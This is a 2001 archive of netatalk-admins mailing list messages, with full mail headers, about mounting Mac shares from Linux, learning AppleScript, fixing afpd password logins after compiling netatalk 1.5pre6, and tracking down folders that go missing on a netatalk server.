> Tis is something I've wanted to do for a while, but I've been to lazy to
> use the many search engines to find.  Is there a good site out there to
> teach Applescript to experienced programmers who don't know much about Mac
> internals? :)

	It shouldn't be hard, given that a "Synchronize Folders"
Applescript was distributed on the OS9 CD?

http://www.scriptweb.com/

> Seanano wrote regarding 'Re: Mount Macs on Linux' on Wed, Aug 22 at 09:51:
> >   What about writing an applescript to mount the netatalk share on the mac
> > box and then copy the files over?  Then, just include that share in the
> > stuff you backup. The script wouldn't be very complicated, just a simple
> > connect and copy.  You could use the cron program for MacOS to have it run
> > whenever it needs to.

-- 
Anthony J. Stuckey                              stuckey@jaka.ece.uiuc.edu
"And they said work hard, and die suddenly, because it's fun."
	-Robyn Hitchcock.

From netatalk.administrators-errors@umich.edu  Wed Aug 22 12:30:19 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA17945
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 22 Aug 2001 12:30:19 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id MAA21210
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 22 Aug 2001 12:30:19 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA21183
	for netatalk.administrators-members@umich.edu; Wed, 22 Aug 2001 12:30:18 -0400 (EDT)
Received: from exchangenyc.goldenbooks.com ([63.107.247.76])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA21125
	for <netatalk-admins@umich.edu>; Wed, 22 Aug 2001 12:30:17 -0400 (EDT)
Received: by EXCHANGENYC with Internet Mail Service (5.5.2653.19)
	id <RDKXAH8B>; Wed, 22 Aug 2001 12:29:55 -0400
Message-ID: <807EFD585EE4D411B90C00508B8B316704D71F@EXCHANGENYC>
From: "Sherry, Jonathan" <JSherry@goldenbooks.com>
To: "'Danny Sauer'" <dsauer@teleologic.net>
Cc: netatalk-admins@umich.edu
Subject: RE: Mount Macs on Linux
Date: Wed, 22 Aug 2001 12:29:52 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id MAA17945

You should get the new O'Reilly book, Applescript In A Nutshell. It clearly
documents data types, operators, variables, constants, flow control, etc.

-----Original Message-----
From: Danny Sauer [mailto:dsauer@teleologic.net]
Sent: Wednesday, August 22, 2001 11:26 AM
To: Seanano
Cc: Jürgen Weltzer; netatalk-admins@umich.edu
Subject: Re: Mount Macs on Linux


Tis is something I've wanted to do for a while, but I've been to lazy to
use the many search engines to find.  Is there a good site out there to
teach Applescript to experienced programmers who don't know much about Mac
internals? :)

--Danny

Seanano wrote regarding 'Re: Mount Macs on Linux' on Wed, Aug 22 at 09:51:
>   What about writing an applescript to mount the netatalk share on the mac
> box and then copy the files over?  Then, just include that share in the
> stuff you backup. The script wouldn't be very complicated, just a simple
> connect and copy.  You could use the cron program for MacOS to have it run
> whenever it needs to.
> 
> Sean

From netatalk.administrators-errors@umich.edu  Wed Aug 22 13:36:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA21370
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 22 Aug 2001 13:36:20 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id NAA29534
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 22 Aug 2001 13:36:20 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA29531
	for netatalk.administrators-members@umich.edu; Wed, 22 Aug 2001 13:36:19 -0400 (EDT)
Received: from mailhub.cns.ksu.edu (grunt.ksu.ksu.edu [129.130.12.17])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA29513
	for <netatalk-admins@umich.edu>; Wed, 22 Aug 2001 13:36:18 -0400 (EDT)
Received: from unix1.cc.ksu.edu (sto9013@unix1.cc.ksu.edu [129.130.12.3])
	by mailhub.cns.ksu.edu (8.9.1/8.9.1/mailhub+tar) with ESMTP id MAA22810;
	Wed, 22 Aug 2001 12:36:16 -0500 (CDT)
Received: from localhost (sto9013@localhost)
	by unix1.cc.ksu.edu (8.8.8+Sun/8.8.8) with ESMTP id MAA16513;
	Wed, 22 Aug 2001 12:36:17 -0500 (CDT)
X-Authentication-Warning: unix1.cc.ksu.edu: sto9013 owned process doing -bs
Date: Wed, 22 Aug 2001 12:36:16 -0500 (CDT)
From: Seanano <sto9013@ksu.edu>
X-X-Sender:  <sto9013@unix1.cc.ksu.edu>
To: Danny Sauer <dsauer@teleologic.net>
cc: <netatalk-admins@umich.edu>
Subject: Re: Mount Macs on Linux
In-Reply-To: <20010822102558.D23465@newwww.teleologic.net>
Message-ID: <Pine.GSO.4.33L.0108221232250.15459-100000@unix1.cc.ksu.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

  I've found the best reference is the script editor program itself.  You
can record actions and it will output the applescript for what you did
(assuming everything was applescriptable).  You can also open applescript
aware programs and script libraries with the "open dictionary"  command
and it will list with a brief explanation what commands the application or
library supports.

Sean

On Wed, 22 Aug 2001, Danny Sauer wrote:

> Tis is something I've wanted to do for a while, but I've been to lazy to
> use the many search engines to find.  Is there a good site out there to
> teach Applescript to experienced programmers who don't know much about Mac
> internals? :)
>
> --Danny
>
> Seanano wrote regarding 'Re: Mount Macs on Linux' on Wed, Aug 22 at 09:51:
> >   What about writing an applescript to mount the netatalk share on the mac
> > box and then copy the files over?  Then, just include that share in the
> > stuff you backup. The script wouldn't be very complicated, just a simple
> > connect and copy.  You could use the cron program for MacOS to have it run
> > whenever it needs to.
> >
> > Sean
>


From netatalk.administrators-errors@umich.edu  Wed Aug 22 18:51:59 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA06424
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 22 Aug 2001 18:51:59 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id SAA11407
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 22 Aug 2001 18:51:59 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA11402
	for netatalk.administrators-members@umich.edu; Wed, 22 Aug 2001 18:51:58 -0400 (EDT)
Received: from perama01.erggroup.com (perama01.erggroup.com [203.23.26.2])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id SAA11370
	for <netatalk-admins@umich.edu>; Wed, 22 Aug 2001 18:51:57 -0400 (EDT)
Received: from aumela03.aumela.erggroup.com ([10.242.1.3])
          by perama01.erggroup.com (Lotus Domino Release 5.0.8)
          with ESMTP id 2001082306515401:20635 ;
          Thu, 23 Aug 2001 06:51:54 +0800 
Subject: Mount Macs on Linux
To: netatalk-admins@umich.edu
From: "Chris Leighton" <CLeighto@erggroup.com>
Date: Thu, 23 Aug 2001 08:51:53 +1000
Message-ID: <OF46E61F97.A630521E-ONCA256AB0.007CA6C8@aumela.erggroup.com>
MIME-Version: 1.0
X-MIMETrack: Serialize by Router on aumela03/Servers/ERG_Group(Release 5.0.4 |June 8, 2000) at
 23/08/2001 08:51:54,
	Itemize by SMTP Server on aupera03/ERG_Group(Release 5.0.8 |June 18, 2001) at
 08/23/2001 06:51:54 AM,
	Serialize by Router on aupera03/ERG_Group(Release 5.0.8 |June 18, 2001) at
 08/23/2001 06:51:54 AM,
	Serialize complete at 08/23/2001 06:51:54 AM
Content-type: text/plain; charset=us-ascii

Could you reverse the rolls, keep your data on the linux server (with
netatalk)?

---------------------------- ERG Group --------------------------
 The contents of this email and any attachments are confidential
 and may only be read by the intended recipient.
-----------------------------------------------------------------


From netatalk.administrators-errors@umich.edu  Wed Aug 22 19:51:48 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA08426
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 22 Aug 2001 19:51:47 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA22794
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 22 Aug 2001 19:51:34 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA22789
	for netatalk.administrators-members@umich.edu; Wed, 22 Aug 2001 19:51:33 -0400 (EDT)
Received: from mail00.oculustech.com (w099.z064221047.bos-ma.dsl.cnc.net [64.221.47.99])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id TAA22784
	for <netatalk-admins@umich.edu>; Wed, 22 Aug 2001 19:51:32 -0400 (EDT)
Received: from zamorano (unknown [207.180.184.102])
	by mail00.oculustech.com (Postfix) with ESMTP
	id A35965C07; Wed, 22 Aug 2001 19:51:38 -0400 (EDT)
Message-ID: <003301c12b65$5e8302a0$7502a8c0@zamorano>
From: "Andrew Crum" <acrum@oculustech.com>
To: "Chris Leighton" <CLeighto@erggroup.com>
Cc: <netatalk-admins@umich.edu>
References: <OF46E61F97.A630521E-ONCA256AB0.007CA6C8@aumela.erggroup.com>
Subject: Re: Mount Macs on Linux
Date: Wed, 22 Aug 2001 19:50:16 -0400
Organization: Oculus Technologies Corporation
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4807.1700
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700

yes
----- Original Message ----- 
From: "Chris Leighton" <CLeighto@erggroup.com>
To: <netatalk-admins@umich.edu>
Sent: Wednesday, August 22, 2001 6:51 PM
Subject: Mount Macs on Linux


> Could you reverse the rolls, keep your data on the linux server (with
> netatalk)?
> 
> ---------------------------- ERG Group --------------------------
>  The contents of this email and any attachments are confidential
>  and may only be read by the intended recipient.
> -----------------------------------------------------------------
> 
> 


From netatalk.administrators-errors@umich.edu  Thu Aug 23 16:41:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA29994
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 23 Aug 2001 16:41:52 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id QAA04569
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 23 Aug 2001 16:41:52 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA04557
	for netatalk.administrators-members@umich.edu; Thu, 23 Aug 2001 16:41:52 -0400 (EDT)
Received: from editmy.he.net (editmy.he.net [216.218.244.242])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA04540
	for <netatalk-admins@umich.edu>; Thu, 23 Aug 2001 16:41:51 -0400 (EDT)
Received: from [10.0.0.2] (dhcp-273-2.click-network.com [131.191.9.16]) by editmy.he.net (8.8.6/8.8.2) with ESMTP id NAA17039 for <netatalk-admins@umich.edu>; Thu, 23 Aug 2001 13:41:51 -0700
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Thu, 23 Aug 2001 13:41:15 -0700
Subject: Sorry, the password you entered is incorrect.  Please reenter it.
From: xris <xris@mac.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B7AAB87A.9AB1%xris@mac.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

I got a little help the last time I asked this question, but nothing that
could get me connected to my machine (I don't want to turn on guest).

Anyway, I recently compiled 1.5pre6 with:

    ./configure --disable-ddp --enable-lastdid --with-tcp-wrappers
--with-pam --with-shadow --with-uams-path=/etc/atalk/uams
--sysconfdir=/etc/atalk --with-config-dir=/etc/atalk
--with-msg-dir=/etc/atalk/msg --with-ssl-dir=/usr/include/openssl


I don't use pam, but it was suggested that I try this to alleviate my
problem (it didn't help, no change).

Anyway, afpd does seem to be able to find my config files because I am able
to disable guest login, but for the life of me, I can't get it to accept my
password.  It recognizes my user login (I tried ones that don't exist, and
got something like "user doesn't exist," so I know that its finding my
user).   I've tried the uams_clrtxt.so by itself and in combination with
uams_dhx.so...

Any more suggestions?  It's getting really annoying having to ftp things
back and forth to my file server.

Thanks,

Chris


From netatalk.administrators-errors@umich.edu  Thu Aug 23 16:51:05 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA00617
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 23 Aug 2001 16:51:04 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id QAA18997
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 23 Aug 2001 16:51:04 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA18982
	for netatalk.administrators-members@umich.edu; Thu, 23 Aug 2001 16:51:04 -0400 (EDT)
Received: from gateway1.dhl.com (ssf130c.dhl.com [199.41.199.130])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA18954
	for <netatalk-admins@umich.edu>; Thu, 23 Aug 2001 16:51:03 -0400 (EDT)
Received: from uscmg2.us.dhl.com (gateway1.dhl.com [199.41.248.137])
	by gateway1.dhl.com (Switch-2.1.3/Switch-2.1.0) with ESMTP id f7NKowr09891;
	Thu, 23 Aug 2001 20:50:58 GMT
Received: from ozzy.us.dhl.com (ozzy.us.dhl.com [199.41.224.41])
	by uscmg2.us.dhl.com (8.11.4/8.11.4) with ESMTP id f7NKo2e16722;
	Thu, 23 Aug 2001 13:50:02 -0700 (MST)
Received: from us.dhl.com (localhost [127.0.0.1])
	by ozzy.us.dhl.com (8.11.3/8.11.3) with ESMTP id f7NKoo010475;
	Thu, 23 Aug 2001 13:50:51 -0700 (MST)
Message-ID: <3B856D56.5A4A5A91@us.dhl.com>
Date: Thu, 23 Aug 2001 15:53:42 -0500
From: Pete Kuczynski <pkuczyns@us.dhl.com>
X-Sender: "Pete Kuczynski" <pkuczyns@ozzy.us.dhl.com>
X-Mailer: Mozilla 4.7 [en]C-CCK-MCD   (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: xris <xris@mac.com>
CC: netatalk-admins@umich.edu
Subject: Re: Sorry, the password you entered is incorrect.  Please reenter it.
References: <B7AAB87A.9AB1%xris@mac.com>
Content-Type: multipart/mixed;
 boundary="------------926EE7BA0C5744D315B24DC0"


This is a multi-part message in MIME format.
--------------926EE7BA0C5744D315B24DC0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Not and expert but works fine on my RH6.2 server using plain text
passwords. Installed the rpm as rpm -ivh, rebooted, could see my server,
gut right in.

Pete

xris wrote:
> 
> I got a little help the last time I asked this question, but nothing that
> could get me connected to my machine (I don't want to turn on guest).
> 
> Anyway, I recently compiled 1.5pre6 with:
> 
>     ./configure --disable-ddp --enable-lastdid --with-tcp-wrappers
> --with-pam --with-shadow --with-uams-path=/etc/atalk/uams
> --sysconfdir=/etc/atalk --with-config-dir=/etc/atalk
> --with-msg-dir=/etc/atalk/msg --with-ssl-dir=/usr/include/openssl
> 
> I don't use pam, but it was suggested that I try this to alleviate my
> problem (it didn't help, no change).
> 
> Anyway, afpd does seem to be able to find my config files because I am able
> to disable guest login, but for the life of me, I can't get it to accept my
> password.  It recognizes my user login (I tried ones that don't exist, and
> got something like "user doesn't exist," so I know that its finding my
> user).   I've tried the uams_clrtxt.so by itself and in combination with
> uams_dhx.so...
> 
> Any more suggestions?  It's getting really annoying having to ftp things
> back and forth to my file server.
> 
> Thanks,
> 
> Chris

-- 
_______________________________________
Pete Kuczynski
Sr. Field Engineer
DHL Airways Inc.
Infrastructure Technology & Services
(773)-462-9758
24/7 Helpdesk 1-800-434-5767
--------------926EE7BA0C5744D315B24DC0
Content-Type: text/x-vcard; charset=us-ascii;
 name="pkuczyns.vcf"
Content-Transfer-Encoding: 7bit
Content-Description: Card for Pete Kuczynski
Content-Disposition: attachment;
 filename="pkuczyns.vcf"

begin:vcard 
n:;
x-mozilla-html:FALSE
org:<CENTER><BR><l><font face="Arial"><B><a href="http://web.us.dhl.com/client-svcs/sys-support/UserHelp/test/otherproblem.htm">Trouble ticket request form</a></B></font></l><CENTER>                                                                                                                                   
adr:;;What did you expect to find here?;;;;
version:2.1
end:vcard

--------------926EE7BA0C5744D315B24DC0--


From netatalk.administrators-errors@umich.edu  Thu Aug 23 17:05:13 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA01381
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 23 Aug 2001 17:05:13 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA00627
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 23 Aug 2001 17:04:58 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA00622
	for netatalk.administrators-members@umich.edu; Thu, 23 Aug 2001 17:04:57 -0400 (EDT)
Received: from editmy.he.net (editmy.he.net [216.218.244.242])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA00602
	for <netatalk-admins@umich.edu>; Thu, 23 Aug 2001 17:04:56 -0400 (EDT)
Received: from [10.0.0.2] (dhcp-273-2.click-network.com [131.191.9.16]) by editmy.he.net (8.8.6/8.8.2) with ESMTP id OAA18293 for <netatalk-admins@umich.edu>; Thu, 23 Aug 2001 14:05:11 -0700
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Thu, 23 Aug 2001 14:04:36 -0700
Subject: Re: Sorry, the password you entered is incorrect.  Please reenter
	it.
From: xris <xris@mac.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B7AABDF3.9AB7%xris@mac.com>
In-Reply-To: <3B856D56.5A4A5A91@us.dhl.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

> Not and expert but works fine on my RH6.2 server using plain text
> passwords. Installed the rpm as rpm -ivh, rebooted, could see my server,
> gut right in.

Unfortunately, Slackware doesn't do rpm files very well.


From netatalk.administrators-errors@umich.edu  Thu Aug 23 17:33:46 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA03888
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 23 Aug 2001 17:33:46 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA23410
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 23 Aug 2001 17:33:31 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA23405
	for netatalk.administrators-members@umich.edu; Thu, 23 Aug 2001 17:33:30 -0400 (EDT)
Received: from mail.teleologic.net (17eos170.eosinc.com [12.39.14.170])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA23382
	for <netatalk-admins@umich.edu>; Thu, 23 Aug 2001 17:33:29 -0400 (EDT)
Received: by mail.teleologic.net (Postfix, from userid 2000)
	id E7F51309E8; Thu, 23 Aug 2001 16:33:43 -0500 (CDT)
Date: Thu, 23 Aug 2001 16:33:43 -0500
From: Danny Sauer <dsauer@teleologic.net>
To: netatalk-admins@umich.edu
Subject: Re: Sorry, the password you entered is incorrect.  Please reenter it.
Message-ID: <20010823163343.K5686@newwww.teleologic.net>
References: <3B856D56.5A4A5A91@us.dhl.com> <B7AABDF3.9AB7%xris@mac.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.3.12i
In-Reply-To: <B7AABDF3.9AB7%xris@mac.com>; from xris@mac.com on Thu, Aug 23, 2001 at 02:04:36PM -0700
X-Operating-System: Linux 2.4.0-4GB i686
X-Dont-Spam-Me: I might come after you

xris wrote regarding 'Re: Sorry, the password you entered is incorrect.  Please reenter it.' on Thu, Aug 23 at 16:12:
> > Not and expert but works fine on my RH6.2 server using plain text
> > passwords. Installed the rpm as rpm -ivh, rebooted, could see my server,
> > gut right in.
> 
> Unfortunately, Slackware doesn't do rpm files very well.

"rpm -ivh --force --nodeps" usually works fine on slackware... :)
(yeah, you'll have to fix the init scripts yourself, but that's easy)

--Danny, who's had to do this a few times

From netatalk.administrators-errors@umich.edu  Thu Aug 23 17:39:57 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA04133
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 23 Aug 2001 17:39:57 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id RAA08289
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 23 Aug 2001 17:39:56 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA08282
	for netatalk.administrators-members@umich.edu; Thu, 23 Aug 2001 17:39:56 -0400 (EDT)
Received: from relay.premiera.pl (relay.premiera.pl [213.134.131.199])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA08198
	for <netatalk-admins@umich.edu>; Thu, 23 Aug 2001 17:39:51 -0400 (EDT)
Received: from Marcin (pi17.warszawa.sdi.tpnet.pl [213.25.53.17])
	by relay.premiera.pl (Postfix) with SMTP id 64EB073B2
	for <netatalk-admins@umich.edu>; Thu, 23 Aug 2001 23:39:42 +0200 (CEST)
Message-ID: <005501c12c1c$1feb3820$020a0a0a@bloknet>
From: "Marcin Kandybowicz" <kandyb@premiera.pl>
To: <netatalk-admins@umich.edu>
Subject: logs, log, more logs information
Date: Thu, 23 Aug 2001 23:39:44 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-2"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

Hi Evryone,
 I new on this list so first i introduce myself. I'm Martin from Poland, i
administrate few linux machines with netatalk.

My problem:

   Last time I was informet about missing folders on linux server with
netatalk. In sys messages i do not have any information about problems with
filesystem, hard drives etc.

  My sugestion is that some user just delete it. I wondered if there is any
possibility to add delete action to logs of afpd or something like that?

thx
Martin


From netatalk.administrators-errors@umich.edu  Thu Aug 23 19:33:02 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA08811
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 23 Aug 2001 19:33:02 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA08464
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 23 Aug 2001 19:32:46 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA08462
	for netatalk.administrators-members@umich.edu; Thu, 23 Aug 2001 19:32:46 -0400 (EDT)
Received: from gemini.faredge.com.au ([203.94.150.195])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id TAA08446
	for <netatalk-admins@umich.edu>; Thu, 23 Aug 2001 19:32:44 -0400 (EDT)
Received: (qmail 17538 invoked from network); 23 Aug 2001 23:32:02 -0000
Received: from unknown (HELO celery) (203.94.150.200)
  by 203.94.150.195 with SMTP; 23 Aug 2001 23:32:02 -0000
From: "Chris Herrmann" <chris@faredge.com.au>
To: <netatalk-admins@umich.edu>
Subject: RE: logs, log, more logs information
Date: Fri, 24 Aug 2001 09:31:50 +1000
Message-ID: <000d01c12c2b$c96b1aa0$c8965ecb@faredge.com.au>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-2"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
In-Reply-To: <005501c12c1c$1feb3820$020a0a0a@bloknet>
Importance: Normal

Hi Martin,

chances are that it might be a user, or it might be netatalk - there have
been more than a few of us who have had directories disappear.

Personally, I stopped having these troubles when I compiled it with:

--enable-lastdid

It appears that netatalk behaves differently on different unices, and
versions amongst the same unix. For example, file locking works differently
between rh6.2 & 7.0 for ext2fs, but also works differently again for
reiserfs. You'll have to try it, and see how you go. Good luck!

Regards,

Chris

-----Original Message-----
From: Marcin Kandybowicz [mailto:kandyb@premiera.pl]
Sent: Friday, 24 August 2001 07:40
To: netatalk-admins@umich.edu
Subject: logs, log, more logs information


Hi Evryone,
 I new on this list so first i introduce myself. I'm Martin from Poland, i
administrate few linux machines with netatalk.

My problem:

   Last time I was informet about missing folders on linux server with
netatalk. In sys messages i do not have any information about problems with
filesystem, hard drives etc.

  My sugestion is that some user just delete it. I wondered if there is any
possibility to add delete action to logs of afpd or something like that?

thx
Martin



From netatalk.administrators-errors@umich.edu  Thu Aug 23 20:34:34 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA11006
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 23 Aug 2001 20:34:34 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id UAA03362
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 23 Aug 2001 20:34:34 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA03347
	for netatalk.administrators-members@umich.edu; Thu, 23 Aug 2001 20:34:33 -0400 (EDT)
Received: from robin.mail.pas.earthlink.net (robin.mail.pas.earthlink.net [207.217.120.65])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id UAA03320
	for <netatalk-admins@umich.edu>; Thu, 23 Aug 2001 20:34:32 -0400 (EDT)
Received: from storage (2Cust53.tnt3.lancaster.pa.da.uu.net [63.11.121.53])
	by robin.mail.pas.earthlink.net (8.11.5/8.9.3) with ESMTP id f7O0YPN23916;
	Thu, 23 Aug 2001 17:34:26 -0700 (PDT)
From: "Ed Schwartz" <ed_schwartz@iu13.k12.pa.us>
To: "xris" <xris@mac.com>, <netatalk-admins@umich.edu>
Subject: RE: Sorry, the password you entered is incorrect.  Please reenter it.
Date: Thu, 23 Aug 2001 20:38:56 -0400
Message-ID: <HJECKHPOHDPHPABMJFFDOEHMCGAA.ed_schwartz@iu13.k12.pa.us>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
In-Reply-To: <B7AAB87A.9AB1%xris@mac.com>

 
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

... What's in the log?

- -------------------------------------------------------------
|   Eddie J Schwartz <EdMcMan@m00.net> http://www.m00.net   |
|     AIM: The Cypher ICQ: 35576339 PGP ID: 0x96CDDED4      |
